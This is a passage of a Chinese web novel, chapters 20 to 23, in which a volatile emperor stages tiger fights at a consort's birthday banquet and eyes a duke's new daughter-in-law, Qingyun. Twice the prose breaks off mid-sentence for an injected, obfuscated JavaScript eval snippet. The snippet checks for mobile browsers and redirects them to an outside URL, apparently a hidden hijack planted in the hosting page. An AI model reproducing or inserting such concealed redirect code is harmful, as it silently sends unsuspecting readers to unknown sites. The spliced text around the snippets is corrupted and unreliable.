她提醒过父亲,也劝过母亲,两人好像都没上心,有时还任由手下的人肆意妄为,算得上逾矩了。 李贵妃有时怀疑,自己迟迟未有身孕,是不是陛下对李家不满,或不想坐视李家势大,才不让她诞下龙子。环视后宫又没几人有孕,这种疑虑时有时无,逐渐扎根心头,变成一根痛刺。 话却不能对母亲倾诉,因为她只要说了,转眼母亲就可能要求陛下只幸她一人,直到她孕有龙种。 女儿轻言细语的提醒没被大长公主放心上,还反过来劝她不要忧思太重。李贵妃无法,干脆略过这话题,召人问是不是下朝了,得知那边已结束朝事,建帝和齐国公父子正在来的路上,立刻吩咐重新煮茶上点心。 一刻钟后,随着宫人通报声响起,第一个有反应的不是李贵妃和大长公主,竟是不想听娘亲姐姐聊天,无聊到和清蕴一起喝茶的李琪瑛。 “陛下——”李琪瑛乳燕投林般直奔门外,喜悦之情溢于言表。 玄色身影逆光大步而来,见到她停下脚步。 建帝本来就高,因喜欢练武,身形伟岸强健,叫李琪瑛不得不仰首看他。 “果然是已及笄的姑娘,愈发好看了。”他抬手随意拍了拍李琪瑛脑袋,这位无论在哪都骄纵无比的小郡主顿时成了最乖巧的女孩儿,毫不吝惜地展露笑容,“因为我和阿姐生得像啊,自然好看。” 清蕴下意识瞧旁边两人,只见她们习以为常,十分淡然。 转眼间,建帝迈入殿中,得大长公主、李贵妃出声问好。他点点头,看向清蕴,不怒自威的凤目似有诧异,“这位是……?” 他召齐国公阖府进宫给贵妃庆生,清蕴如今能和大长公主同坐,身份根本无需解释。 建帝有此一说,只能是明知故问。 20.第二十章 建帝询问,不说其他人,身侧的司礼监总管万云也该识趣回答。可这位面白无须、体型微胖的中年男子视线垂在地面,好像没听到皇帝声音,沉默得很。 依然是大长公主出声,“陛下忘了,这是少思的新婚夫人,我的儿媳,王贞的外孙女。” 清蕴适时福身行礼。 “原来如此。”建帝恍然般,“就是那晚朕无缘得见的新娘。” 说完这句话,他径直走到清蕴面前。 刚下朝过来,建帝仍穿着黑色龙袍,上缀青色衮边,张牙舞爪的龙纹正在衣袍上翻云覆雨,冷冷地俯视众人。 天子之威,赫赫奕奕。当他不加收敛时,那股气势便如重山深渊,简直要化作实质,顷刻间把人压倒。 清蕴领略过很多目光,因相貌出众,旁人见到她大都是惊艳、感叹、亲和,无论如何,表面总不会太差。但建帝作为天子,情绪流露也和常人不同,起初让她有种被猛兽盯伺的毛骨悚然之感,那种压迫一闪而过,很快他就感叹道:“如斯美人,少思好福气啊。” “那夜本该去看看这对新人的,好在今天也不算晚。万云,让御用监送些东西来。” “陛下是要给弟妹和琪瑛赐礼吗?”李贵妃走来,“臣妾早就着人准备好了,不必让万公公再跑一趟。” “哦?贵妃赐了礼,朕更不能落下。万云,就挑年前进贡的蜀锦和那几套金器。” 建帝特意发话,老僧入定般的万云才恢复生气,对众人笑了下,到殿门外吩咐内侍。 宫廷内有十二监,司礼监是其中之一,同时也是所有内务衙门的“第一署”,万云作为司礼监总管,便是建帝一等一的心腹。清蕴观他行事作风,觉得他不愧有“内相”之称,极懂圣心。建帝如此狂肆不羁的性格,在万云近身时,都愿意微微倾身听他说话。 朝臣们每每有要事上报,须找他探知天子心情。进宫前,李秉真也曾提过一嘴,寻常宫人无需在意,唯独司礼监的人不可慢待。 “陛下已经到了,怎么他们二人还没来?”大长公主望了眼外面,颇有些不耐烦。她不喜欢纯坐着赏物谈心,刚才坐在这和女儿说了许久的话,已经是压着性子。 “姑母感觉无聊了?”建帝很了解她,“朕是先行一步,齐国公还在商议事情,应是绊住了,既然这样……” 他眼神示意,立刻有人将殿外蒙着红布的巨笼扯开。 众人还在猜测是何物,没想到里面竟是头伏地小憩的猛虎。 阳光乍然照入,猛虎受惊,见周围风景陌生,一众持刀剑的侍卫架在两旁,登时圆目紧缩,起身朝天吼出一声虎啸。声浪滔天,像海啸扑面,一波又一波袭来,几乎震耳欲聋,让李贵妃在内的许多人脸色霎白。 “这是朕前几日亲手从猎场抓回的雄虎,姑母不是最喜欢这些猛兽,当初还想豢养吗,您看这头如何?” 大长公主见猎心喜,丝毫不惧地走到笼外,连声夸赞,“不错,它应该正值壮年,甚是威猛,野性极佳。” 她尚未出降时,就曾想在宫中饲养虎豹,先帝知她喜好,特意找人寻来刚断奶的野兽。软绵绵的小兽到了面前,她看也不看,直言不喜欢被驯养得失了野性的兽类,想去猎场捕获那些成年野兽,被先帝严令禁止。 面前这头,当真极对她胃口。 “姑母喜欢,尽可带走。” 大长公主摇头,“国公府太小,没地方养它,整日关在笼中也是无趣。” 建帝回头看仍在殿内的几人,“你们可想摸一摸?朕叫人制住它,尽管一试。” 李贵妃、清蕴自是毫无兴趣,李琪瑛跃跃欲试,却被长姐一把拉住,无论如何不肯她前去。 “陛下。” 齐国公和李秉真一道同出现在众人眼中,建帝当即迈步迎去,朝二人展示自己战果,颇有些炫耀战果的感觉,“齐国公,少思,你们觉得如何?” 虎,尤其是这种野性未驯的猛虎,再如何威风,在常人眼中都显得狰狞凶恶,出现在这宫廷之中,更容易使人惊慌。齐国公父子仅扫了一眼,面色都无变化,夸赞道:“陛下孔武有力,身手非凡。” 齐国公也就罢了,他是久经沙场历练的老将。建帝仔细观李秉真神色,见他竟也反应平平,波澜不惊,不由有些意外,循着他眼神看去,见李秉真的视线在笼中虎一掠而过,就转到了那位新婚夫人身上。 建帝随之瞥去,恰好撞见清蕴也正看着李秉真,毫不在意场上其他人。 不由玩味,看来这对夫妻感情当真不错。 看得差不多时,建帝同众人回殿,问起齐国公刚才商议的事情。 齐国公道:“柳阁老认为北城兵马司一职干系重大,贸然罢免不妥,还道暂无可以举荐的替任之人。” 现任北城兵马司指挥和齐国公交好,他犯了错,有人提议罢免,柳阁老居然不同意,建帝直摇头,“柳文宗年纪大了,越发畏手畏脚,凡事只会说不妥、往后再议,真是装糊涂装惯了。” “柳阁老行事向来谨慎,他也是为大局着想。” 建帝叹了声,“如今朝中平蛮镇乱有国公和孟卿等人,治世安邦却没几个可用之人。遇事时,这偌大的朝堂,竟无一人肯为朕出谋划策。” 他忽然转向李秉真,“少思,你在翰林院待着实在屈才,当真不愿进六部吗?” 李秉真起身,“蒙陛下抬爱,然臣自知力薄才疏,陪同讲书论经还可,论为天下计,还要看其他同僚。” “你有没有这份才能,朕难道不清楚吗?”建帝不悦,“你当年春闱的考卷都被特意呈到朕的案前,内阁啧啧称奇,对朕说你当为相才。若非碍于你身体孱弱,朕也不会舍得把你一直放在翰林院,现今你身体大好了,依旧不愿到他处任职。” 语气加重,“莫非,你就是不想为朕效力?” 随着最后一字落地,建帝脸上笑意也一点一点消逝,面色越是平淡,君威越发深重。 气氛肉眼可见得紧绷起来,眼见李秉真又要开口,建帝眼风一转,竟问清蕴,“世子夫人难道也认为,你这夫君才疏学浅,不堪大用?” 李秉真目色微沉,正欲出声之际,清蕴轻轻按住他袖口,回示建帝,“世子自是学富五车,在臣妇心中,他聪慧绝伦,为世间大才。” “哦?” 清蕴不紧不慢,“然术业有专攻,有人擅长写书作画,有人生来便是安邦之才。陛下为雄主,登基以来垂拱而治,使我朝民安物阜,世人对您无不心向往之,何愁无人辅政?世子曾自嘲只会风花雪月之事,但臣妇以为,正是陛下治国有方,才叫天下才子能够各行其道、各得其乐。以陛下心胸,也断不会只拘泥于一种人才。” 此话一出,作壁上观的万云都忍不住抬了抬眼皮。 这位世子夫人好足的胆气、好巧的嘴。他随侍陛下日久,阿谀奉承之辈不知看过多少,再肉麻的话也听过,可像她说得这么自然又合时宜的,还真没几个。尤其是,她只是个闺阁女子。 建帝也愣住了,许久后放声大笑,“少思,你这夫人好利的一张嘴啊!前后都给朕堵上了,朕还能说什么?” 李秉真看一眼清蕴,笑笑没有言语。 建帝也不需要他们回答,他的态度就说明已经把这事放下了,殿内凝滞的空气再度流通起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777717|156685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清蕴随李秉真坐下,她想的不错,建帝刚才就是故意发难。避而不答或委婉请罪恐怕都不会被放过,不如直接大胆些,还可能有奇效。 “陛下,到时辰了,用膳罢。”李贵妃趁机走来,对清蕴露出安抚笑容。 她的庆生宴,建帝却在这儿为难她的家人,无疑很不合适。可谁敢抱怨皇帝,大长公主刚才都没开口。 恢复说笑,众人陆续在膳桌旁落座。 这时候,李秉真才有机会和清蕴私下说话,“你刚才答得很好,便是我,也不一定能如此巧妙。” “还是和世子学的。”清蕴朝他眨眼,“见人先夸,总无大错。” 李秉真莞尔,把思绪暂时捺下。引起这位注意并非好事,今后还是要让清蕴少和陛下见面。 膳桌上布满佳肴,宫人仍在陆续传菜。 李贵妃生辰,内庖做足了108道佳肴,每道菜各尝一口,就要迅速换下,以便桌上诸位都能品尽美味。 接连数杯珍酿入腹,除去不便喝酒的李秉真,其余人都生了几分醉意。忽然,一声虎啸响彻宫廷,震得所有人悚然,不约而同投去目光。 却见巨笼红布不知何时又被揭开,里面关着的竟成了两头猛虎。 二者见血发狂,已经在笼内撕咬得血肉横飞,精铁打造的巨笼也频频发出响声,像是随时要破笼而出,叫众多宫婢失声惊叫起来。 建帝不以为意,甚至离开膳桌,不顾劝阻亲自走到笼外,近乎痴迷地看着眼前这野兽相斗的场景。 清蕴面色还好,移开视线不看就是。看李贵妃已经有些想吐,她立即吩咐宫人呈上温水。 随着声声吼叫,两虎仍在争斗之际,笼门又吱嘎一声,走进了个面覆黑布身着劲装的高大青年。 齐国公和大长公主猛地推开座椅起身,彼此对视一眼。 看两虎相争还能说玩乐心太重,故意安排人虎厮杀,可称残暴! 然而不等他们制止,青年已经持短刀一跃而上。 相较于两虎,他的身形太过渺小,冒然扑去的行为宛如蚍蜉撼树,让人不忍细看。而他动作迅疾如电,丝毫不拖泥带水,瞬间就把刀刃插()入一虎后颈。 许是没有切中要害,巨虎吃痛,回身猛地一甩,想把人甩开,他却顺势踩上笼顶,借力让两虎相撞。趁它们两败俱伤之际,又反手把匕首狠狠刺进虎目。 他的动作已经利落到极致,比起随身护卫建帝的侍卫统领也不遑多让,依旧不可避免被其中一虎咬中手臂。那一瞬间,清蕴几乎听到兽齿撕扯皮肉的声音。 所有人都紧张得目不转睛,到这个地步,此人只能自救。 青年额头青筋暴起,握住铁笼的手肌肉刹那间蓬勃鼓胀,低吼出声,爆发出不可思议的力量,狠狠抽出被咬得鲜血淋漓的手臂,借此再插一目。甚至不曾停歇,抽出腰间长刀,从上方凌空斩下,硬生生把另一只巨虎的脑袋给劈开了一半。 当两头野兽的尸体横倒在他脚下时,承乾殿内外寂静无声,都被青年这种猛烈而不要命的打法惊呆。 如果说这是建帝安排的助兴打戏,他的表演无疑精彩绝伦,极大取悦了建帝。 剧烈喘着粗气,好一会儿,青年终于直起身,他的衣衫已经完全成了破布条,露出精壮有力的身躯,而他对自己血淋淋的手臂视而不见。 “陛下,幸不辱命。” “好,好,好!”建帝连道三声,大笑着从缺口一跃进笼,重重拍他肩膀,抬手取下青年面上黑布,缓缓露出一张年轻俊美的脸。 竟是李审言! 齐国公脸色巨变,再看大长公主,眼神已是冰冷至极。 21.第二十一章 进宫时旭日初升,归家已是夜幕低垂。 建帝安排的一出好戏让大长公主当场爆发,斥责皇帝玩物丧志,骂李审言不知廉耻谄媚君上,与戏子无异,扬言要把人除名赶出国公府。 李审言表现得很无所谓,拖着被撕咬下大块血肉的手臂,坦然受了建帝赏赐,甚至在座位上毫无顾忌地大口喝酒。 酒水顺着下颌点点滴落,砸在地面,一下又一下,让众人的眉头也跟着跳动。 他们都看到了大长公主黑煞神般的脸色。 李审言在国公府时,作风就已经十分随意了,如今得建帝撑腰,更显得张狂无惧。建帝对此不以为忤,反而愈发欣赏。 大长公主终于没忍住,拔出侍卫佩刀就要斩杀李审言,侍卫和宫人们护主的护主,制止的制止,建帝则哈哈大笑地让他们打起来,承乾宫霎时间乱成一团。 随后,这乱糟糟的局面,因女官惊呼一声“娘娘昏倒了”而终止。 待回过神来,李审言已经离开此处,大长公主也不愿久留,趁落锁前出了宫。 前后两辆马车俱是安静无比。 行至中途时,清蕴开口,“陛下对国公府,是否有误会?” 沉思良久的李秉真回神,“你是想问,陛下是否对我们不满吗?” 正是这个意思。 “树大招风,不止我们,柳家、孟家等也同样如此,端看陛下想对谁发难而已。”李秉真冷静分析,“我们这位陛下喜欢玩弄平衡之道,不喜任何一方权势过重,又不想打理朝政,时不时便要发一回疯,可能想以此震慑。” 发疯,清蕴深觉这个词用得精妙。在这之前,她完全想象不到建帝是这个模样,传闻中的疯症,也不过是说他喜欢行猎而已,谁能料到他会效仿毫无礼法的前朝,把内廷当成猎场。 甚至用李审言刺激大长公主,可见也没几分亲情。 李秉真看得透彻,在宫中行走以低调为主,能沉默时绝不多说一字。按理来说,他应该不会拖着这样的身体去参加科举,还在殿试大出风头。 清蕴直接把疑惑问出了口。 “夫人觉得呢?” “……陛下故意夸大?” 摇头,李秉真似笑非笑,“事实上,我当日只在考卷上默写了一段《金刚经》。” 李秉真会去参加科举,完全是应大长公主所求。当时她受李审言一事刺激,在他身体状态稍好的时候,突然提出这个想法,家中都是以反对声居多。 他没反对,不过也无心入仕,就没想耗费精力考试,走个过场就罢,岂知一路考去都顺利无比。起初以为是母亲在背后操纵名次,直到殿试时建帝亲自把那张考卷摆到面前,李秉真才看到那针砭时弊的字字句句,根本不是自己所写。 当场承认舞弊,无异于把齐国公府置于死地,只能顺着建帝的话和他对答。 好在他确实有些墨水,随后便有了建帝当场夸他为“治世之才”的名声。 事后再去探查,李秉真发现代答的考卷和母亲毫无关系,其中竟隐约有天子手笔。考虑到越发复杂的朝局,不管这是陷阱还是试探,他都不可能入朝参政。 听完事情的来龙去脉,清蕴沉思了好一会儿。 每个人的眼力多少与其身处的位置有关,如果没嫁到齐国公府,她完全猜不到这里面深如漩涡,稍有不慎卷入其中,便会生死难料。 建帝对李家到底抱着什么心思呢?说打压,齐国公至今兵权在手,地位只高不低。说欣赏,又处处提防使绊,今天还一手操办了场荒唐闹剧。 李审言不顾国公府颜面,宁愿做外人眼中的佞幸讨建帝开心来攫取权势,其中又有什么内情,也是不得而知。 马车停顿的摇晃拉回清蕴心神。 下车时,大长公主依旧满怀怒气,迅速跨步进门,身后是紧紧跟着的李琪瑛。 “娘,阿娘,你想多了,陛下绝不是那个意思……”她的声音从门前隐入深处,远远还有字句传来。 齐国公步履沉着,回身对他们二人说话,“今天劳累,照顾好你媳妇。” “好。”李秉真点头,“您也早点休息。” 双方就此分别,各自回到居所,也没传饭食,直接进浴房梳洗。 二虎争斗时,清蕴没害怕,因为她知道那么多侍卫围着,肯定不会让它伤人。但那种血肉横飞的场景依旧让人不适,每每回想都忍不住皱眉,如果不是李贵妃先呕吐晕过去,她怀疑下一个吐的会是自己。 从头到脚彻底清洗了遍,清蕴从桶中起身时,浑身肌肤都被泡得微红,白兰忙用大巾围住她,忍不住道:“这么晚了,头发湿淋淋的可到几时才干。我去叫人多添几个炭盆,您坐在边上烤罢。” “嗯。” 她去叫人加炭盆,清蕴就先坐在明镜台前,心不在焉地等待,偶尔视线会落在其中一个上锁的锦盒,里面装的是昨日从阿飞身上得到的信封和印章。 这些东西来自柳家人,但并不方便告诉李秉真,因为……她从中隐约看到了王、柳两家的联系。 和外祖父王贞有没有关系还不清楚,只能找个机会回家再探问。 坐了会儿,被鞨巾裹住的长发不停往下滴着水珠,慢慢汇成细流,顺着罅隙打湿领口。冰凉的感觉让清蕴不适,刚要抬手,上方又盖来一块巾子,有人在帮她擦拭长发,“添了两个炭盆,去旁边烤一烤。” 是李秉真,他在书房那边沐浴而来,此时浑身也透着水汽。 他屏退左右,拉着清蕴坐到炭盆旁,让她枕在自己膝上,先是帮忙擦了会儿湿发。头发半干的时候,就随手从架上捏了本书,边看边给她捋发。 清蕴就这样仰躺着享受李秉真手指穿过发间的轻柔触感,一下又一下。 这样的姿势无法看清他的脸,只有眉眼微垂着,显得很无害。 这是他处世的表象,和她一样,擅长用温和掩饰所有。只是……清蕴想,她对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781291|156685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的欲()望十分明确,也从来不是淡泊名利之人,李秉真呢?他的才华只真不假,当真甘愿一直在翰林院修书讲经吗? 又或者,的确是受限于身体,无论想做什么,他都只能忍耐。 “在想什么?”身前人忽然出声。 “发呆而已。” 李秉真一声轻笑,“夫人思索时,往往眉间微蹙,而出神时,双目茫茫不入万物。你方才看的是我,所以正在想我,是也不是?” 细致到这个地步,清蕴哪能辩驳。 “想我自己的夫君,难道不可?” 这下无言的变成李秉真,他摇摇头,“论口才,恐怕今生我都胜不过夫人。” 当然是玩笑,夫妻之间如果每每都要论输赢对错,想来他们也不用做其他事,每天醒来就能展开辩论。李秉真猜得到清蕴在想什么,也清楚她的思虑,说这几句话,不过是缓和皇宫一行带来的氛围罢了。 两人都默契地没提起承乾宫之事,说过这两句话,又恢复先前姿势,静静任时光流淌。 不知过了多久,屋外忽然刮起一阵狂风,从廊下呼啸而过,引得门窗轻轻颤动。 李秉真合上了书,将清蕴已然烘干的长发捞起,置于臂间,继续轻抚着,力道不轻不重,令人昏昏欲睡。 将要有雨了。清蕴听到外面女使的低语,也听到炭火燃烧时极轻的咝咝?声,甚至能听到发丝拂过指间的细微响动。可无论外面如何,是风雨欲来,还是火焰滔天,都到达不了内室,影响不了二人独处的这片宁静天地。 大概是这种感觉太舒服了,令人忘了先前所想的一切,思绪放空,整个人轻松无比,好像完全和环境融为一体。 这个时候,她微微睁开眼,忽然和正看着自己的李秉真对上,在这密闭空间中,两人仿佛都怔了一怔。 不知不觉间,她发现自己已微微起身,正与他亲密相拥。 视线犹如火星,使自然生出的欲念一触即发。 唇舌是温暖的,热度远比炭火传来的要高,缓慢而温柔地相触,从不得章法到气息交融不过短短几瞬之间。 他也没有那么病弱,至少能够横抱起她许久而亲吻不止,极尽亲密之能事。直至双双坠入柔软的衾被,两人身上的衣衫都已褪到仅剩一件。 意乱情迷莫过于此,清蕴气息急促,胸口剧烈起伏,因亲吻太久脑中竟有嗡鸣之感,不知身在何处,只能攀住对方一臂。 李秉真同样气息沉重,端方公子乱了心智,定定看着身下的她,肌肤细白如雪,双眸盛着凌凌水光,宛如一朵娇艳欲滴的牡丹,正待人采撷。目光所及之处,无不化为火焰,让身体几乎沸腾,以至两个人都大汗淋漓。 他们新婚燕尔,行夫妻之礼乃天经地义,但…… 思及张颖的叮嘱,交缠厮磨许久,李秉真最终也只能俯身抱住清蕴,极力平复深处躁动,唇畔轻轻叹出一声。 “今日方知,何为情难自禁。” 22、第二十二章 东风解冻,散而为雨。 清蕴整夜好眠,醒来才发现临窗那张小桌被溜进的雨丝淋湿,随意丢在上面的外衣也被浸了个透彻。那是丝绸所制,沾水就没法再用了。 春分看见时惊讶地哎了声,夫妻俩掠过一眼,都没说话。 为什么会这样,他们心知肚明。 昨夜……实在有些忘乎所以了。 默契地忽略这件事,二人用过朝食,同去向太夫人请安。 这趟请安隔了三天,按理来说太夫人会在屋子里见他们,却被婆子告知人从昨晚到今早都待在佛堂里。 她压低声音,“昨夜里那位浑身血淋淋地来老祖宗这儿,一盏茶的功夫就走了。老祖宗留不下人,转头就进了佛堂,至今没歇呢。” 婆子说的那位,无疑是李审言。 他倒很有精力,拖着不及时救治很可能要废弃的手到处转悠,还往国公府走了趟。如今人不在这儿,不知下次回来又是什么时候。 再看太夫人,快七十的年纪了,还能在佛堂连续诵经五六个时辰,都不知该说身子骨硬朗还是爱孙心切。 从这点细微之处就能看出,她面上对李秉真李审言都很平淡,但内心更在意的是后者,毕竟李审言和他生母是在太夫人膝下长大,这种情分任何人都无法代替。 李秉真一听就了解情况,想来这种事也不是初次,娴熟地吩咐,“看着些,记得催祖母歇息,备好药汤老参,也让夏大夫随时候着。” “世子爷放心罢,时刻守着呢。”婆子恭恭敬敬地把两人送到院外,等人走远了才直起身子,忍不住叹了口气。 公府里主子算起来不过七个,“派系”倒分得多,同件事还得琢磨该瞒着哪个、如实禀告哪个。要不是世子爷和世子夫人在府里算最宽和的,她压根不敢说昨晚这茬。 二公子身份太敏感,太夫人的心头宝,大长公主的眼中钉,府里的人总不知到底要恭敬还是疏远。 要她说,老祖宗越老越糊涂,就这光景,还不如早早让二公子自个儿出门立户来得自在呢。 得了婆子的话,夫妻俩走出院子,还没决定好是否要去看望大长公主,迎面又撞上急匆匆行走的徐嬷嬷,满脸笑意不止,瞧见他们才勉强停下,嘴边冒出“大喜”两个字,“世子,世子夫人,大喜啊,咱们宫里的娘娘有孕了!” 连珠炮似的吐出这句话,紧接着说:“我得赶紧把这事告诉殿下,两位主子,这厢就先失礼了。” 眨眼间,连身影几乎都瞧不见了。 这应该是昨儿晕倒后的事。清蕴看向李秉真,他脸上却没出现什么喜悦之色,反而若有所思地出神了会儿。 嫔妃中有家世的当然不止李贵妃,柳阁老的侄女如今也掌管一宫,居于妃位。虽然位份不及贵妃,可她膝下有位年五岁的小公主,两人某种意义称得上旗鼓相当。 后宫诸事,几乎都以这二人为首。 如今李贵妃传出有孕,又不知要引起多少风浪。 拍了拍清蕴的手,李秉真道:“母亲又要进宫一趟了。” ** 李秉真说得不错,得知进宫多年的女儿有孕,无论此前多么气盛,大长公主情绪瞬间好了大半。李审言佞幸不佞幸往后再提,这件事必得摆在首位。 备了两大车礼,精心挑选两位擅药理之道的妇人,大长公主便再次进宫了。 这一回,没有齐国公父子,没有李琪瑛,她仅带了清蕴一人。 大约是见两人上次相谈甚欢,大长公主道:“女子生育是大事,婉仪又在宫里,这时候难免紧张。我和她总难说上话,你们二人算是同辈,更方便谈心,麻烦你帮母亲多宽慰宽慰。” 对待自己的三个儿女,她无疑都是真心疼爱,纵然方法各有不同,初心都很一致。 清蕴应声说好。 承乾宫氛围和之前略有不同,相较起来更添一分小心,宫人来往皆谨慎无比,生怕惊动身怀龙胎的李贵妃。 后宫已经两三年未见喜事,李贵妃身份又如此特殊,据女官言,陛下听闻后龙心大悦,当场赐下重礼,即便白日里为政事所绊,每至夜深也要来看贵妃一眼才去就寝。 清蕴再观李贵妃,她的脸色和女官不同,并没有那么神采飞扬,柔弱之外,还添了抹疲惫。 趁母女俩说话,清蕴对女官道:“娘娘有孕,此前我带来的香料就不要用了,最好也不再用任何香,清爽些最好。” “夫人放心,如今娘娘一应用物,我等都会问过太医,更不会擅自用香料。” “好。”女官沉稳,清蕴就没再多说。 由于状态一般,李贵妃勉强支起精神和大长公主说了些话,就再度睡去了,根本没有谈心的精力。大长公主有些不解,问太医,都说贵妃娘娘初次有孕,疲乏易困是常态。 想到女儿不像自己身强体健,她顿时理解了,恢复从容。再在承乾宫看见外甥时,也能面色如常地打招呼。 “姑母这就要走了?” “嗯,本打算在宫里小住段时日照看婉仪,但有太医、女官在,我硬凑上去也帮不上忙。再者,最近那边闹出了事端,我总不能置之不理。” 姑侄两个平心静气地对话,好像都把前几天的事忘了,顺口提起政务。 建帝说:“治军还是离不开姑母,朕看齐国公也该给你个位置,不然姑母费心费力,到头来他们叫的还是李家军。” 齐国公所辖那十万大军如今有些分散在卫所,有些负责耕种军田,双方本为同袍,不知因何事闹了矛盾,竟当街大打出手。这件事闹出,最丢脸的无疑是齐国公等一众将领。大长公主通过走内眷间的关系平息了纠纷,朝堂都有听说。 大长公主笑了笑,没回这话。 建帝视线一转,瞥向她身侧的清蕴,忽而露出笑意,“不过贵妃如今状况特殊,若有家人在侧,兴许能让她心情好些。姑母不得空,那就让这位世子夫人在宫中小住段时日如何?” 他这提议极为突然,目光也很有几分不明的意味,周围宫人都不由纷纷侧目。 清蕴眼观鼻、鼻观心,像是什么都没听到,大长公主则八风不动,“她和少思新婚燕尔,正是如胶似漆的时候,哪里好叫他们分开。再说了,她是个新妇,什么都不懂,婉仪和她也不熟,俩人哪能相处得来。” “就这样定罢,只要陛下在,宫里万事都不用操心,我们就先告退了。” 说完未等建帝再开口,直接带着清蕴离开。 她步伐极快,一路像忍着脾气,大跨步前行,直至上了马车,终于一掌拍在车壁,目含怒色,“混账东西!” 转向清蕴叮嘱,“以后若无要事,你不用跟进宫。实在不得已,就让少思陪着,一步不能离。” 23、第二十三章 大长公主擅掌兵,于日常琐事甚少在意,相当不拘小节。这不代表她是个蠢货,连建帝频频对儿媳表露的意思都看不出来。 贵妃生辰当日,他越过李秉真去向刚嫁进国公府的清蕴提问,本就不合时宜,后来又因清蕴对答得当而放声大笑,把问题高高举起,轻轻放下。 当时大长公主内心就有不适,只怕是自己多想,便没有拿此做文章,也有意忽略。 今天建帝直接当着众人的面,提出让清蕴在宫中陪伴贵妃的建议,让大长公主顿时警铃大作,终于明白之前不是自己的误会。 建帝,她的好侄儿,是当真对弟媳有说不清道不明的心思。不管这心思是他为惹怒她而故意表现,还是内心真这么想,于大长公主而言都是绝对的冒犯。 方才她甚至想狠狠甩建帝一耳光,碍于二人在这之前闹过太多矛盾,女儿又刚刚有孕,才勉强按捺下冲动。 早在一年前,大长公主就听过一件关于建帝的风流韵事,道他宫中嫔妃甚少,乃是因好人()妻。原先的太仆寺丞,如今的工部侍郎,正是因献上家中美妻,才得以连提六七级,短短两年就从从六品擢升至如今的正三品。 传闻入耳时,大长公主一笑置之,认为乃无稽之谈,是那些不得志的文人编排帝王的低俗艳情事。她看着侄儿长大,建帝刚登基时又是那般英明睿智,怎么可能会做出这种荒唐行为。入宫和李贵妃交谈时,还曾玩笑着说了出来,李贵妃当场怒斥这是谣言,扬言要找出始作俑者重罚。 女儿的话大长公主当然信,如今看来,她深觉女儿都可能被建帝欺骗。 也对,这种事毕竟见不得光,建帝自然要隐瞒。 越想,大长公主越觉得以往疑惑之处都有了解释。怪不得女儿说建帝对临幸后宫兴趣平平,所以这些年宫中有孕者极少。 一个正值壮年,身体无任何疾病的帝王,怎会对男女之事毫无热情,不急着开枝散叶、绵延皇嗣呢?如果他兴趣较常人来说很不一样,就说得通了。 假如他背地里和哪位臣子的家眷有私情,大长公主其实可以睁一只眼闭一只眼,她不可能真正管住一个皇帝,这种事对女儿的地位又不会有任何影响,大不了装傻充愣。 但他千不该万不该,把这主意打到国公府的人身上。 压着火气,大长公主一路都没怎么说话。她心中明白此事和儿媳没什么关系,可难免有些许迁怒。 “母亲,母亲?”身侧呼唤惊回她心神,撩过去一眼,“怎么了?” 清蕴轻声,“我方才说,看母亲嘴角起了燎泡,想来是近日心火太盛,准备给您换一味安神香。” “……好。” 大长公主静默了会儿,余光看着儿媳明丽秀雅的容貌,以及满含关怀的眼眸,那股无名怒火忽然就消了大半。 生得好看并非她的错。大长公主想,何况,皇帝如果真起了那种心思,多半也是因她嫁入了李家,而非只因这张脸。 她在此事上,全然无辜。 各种思绪交杂,大长公主忽然道:“刚才我交代那句话,是因宫廷行走忌讳太多,你甚少接触这些,恐怕不方便,并无其他意思。” “母亲关怀,我省得的。” “也不必特意和少思提,进宫时和他一道就行。” “好。” 说完这些话,抵达国公府后,大长公主摆摆手,就让清蕴自行去了。 此次皇宫之行匆匆来回,二人归家的时候,齐国公和李秉真都还在当值,连李琪瑛都在外游玩尚未回来。 偌大国公府,此时格外肃然冷清。 清蕴经过花圃时,见风惊一树红梅,落了满地艳色,这才感受到些许生气。 她在原地静赏了会儿,再回月舍。 换上常服,第一件事是拿起彭掌柜留下的账册。 这是每月必做的事,不因嫁到国公府而有所松懈。 清蕴其实不擅长经商,一件东西卖出去很简单,但怎么卖,如何留住新客、引来回头客,这就是需要天赋的生财之道。她对自己的能力心知肚明,甚少在经营上指手画脚,只管人,以及每月的进项。 因官府仍在查案,茶楼最近受到影响,利润不多,只能算勉强持平。 她前阵子请一位相熟的友人和断这门官司的衙门打了招呼,那位严管家想必知道轻重,不会再故意为难,茶楼生意很快就能恢复。 且因私产增加,如今几个铺子或多或少都有扩大,还新买下一栋酒楼,正在重修招人。 建朝行商获利很高,但并非有钱就能把生意做下去,尤其在这官员多如牛毛的京城。原先在王家,清蕴拿到铺子后,基本都是靠个人在经营,各处都需小心谨慎,逢年过节必得去打通人情关系。 李秉真知晓后,做主让家中管生意的管家和彭掌柜联络,如此不仅可以借势,双方在一些营生上还能共谋互利,和以前自然大有不同。 在没有结这门亲前,清蕴就听说过国公府财富之巨,初步了解李家产业后,方知他们的富有比传闻更甚。 约摸半个时辰,清蕴合上账册,起身走至妆奁,从底下暗格中取出一把匕首。 匕首被打造得极其小巧,薄如蝉翼,又锋利无比,转动间有森森寒光闪耀,是早两年她给自己特制的。 静静看了会儿,她又将其放回,让白兰去唤陈危来。 “陈危今日随世子出门了。”白兰道,“世子说要见识见识他的功夫,准备下值后带人去武场。” 这事他先前提过,清蕴沉吟片刻,“那就唤藉香来,说我有事请教。” 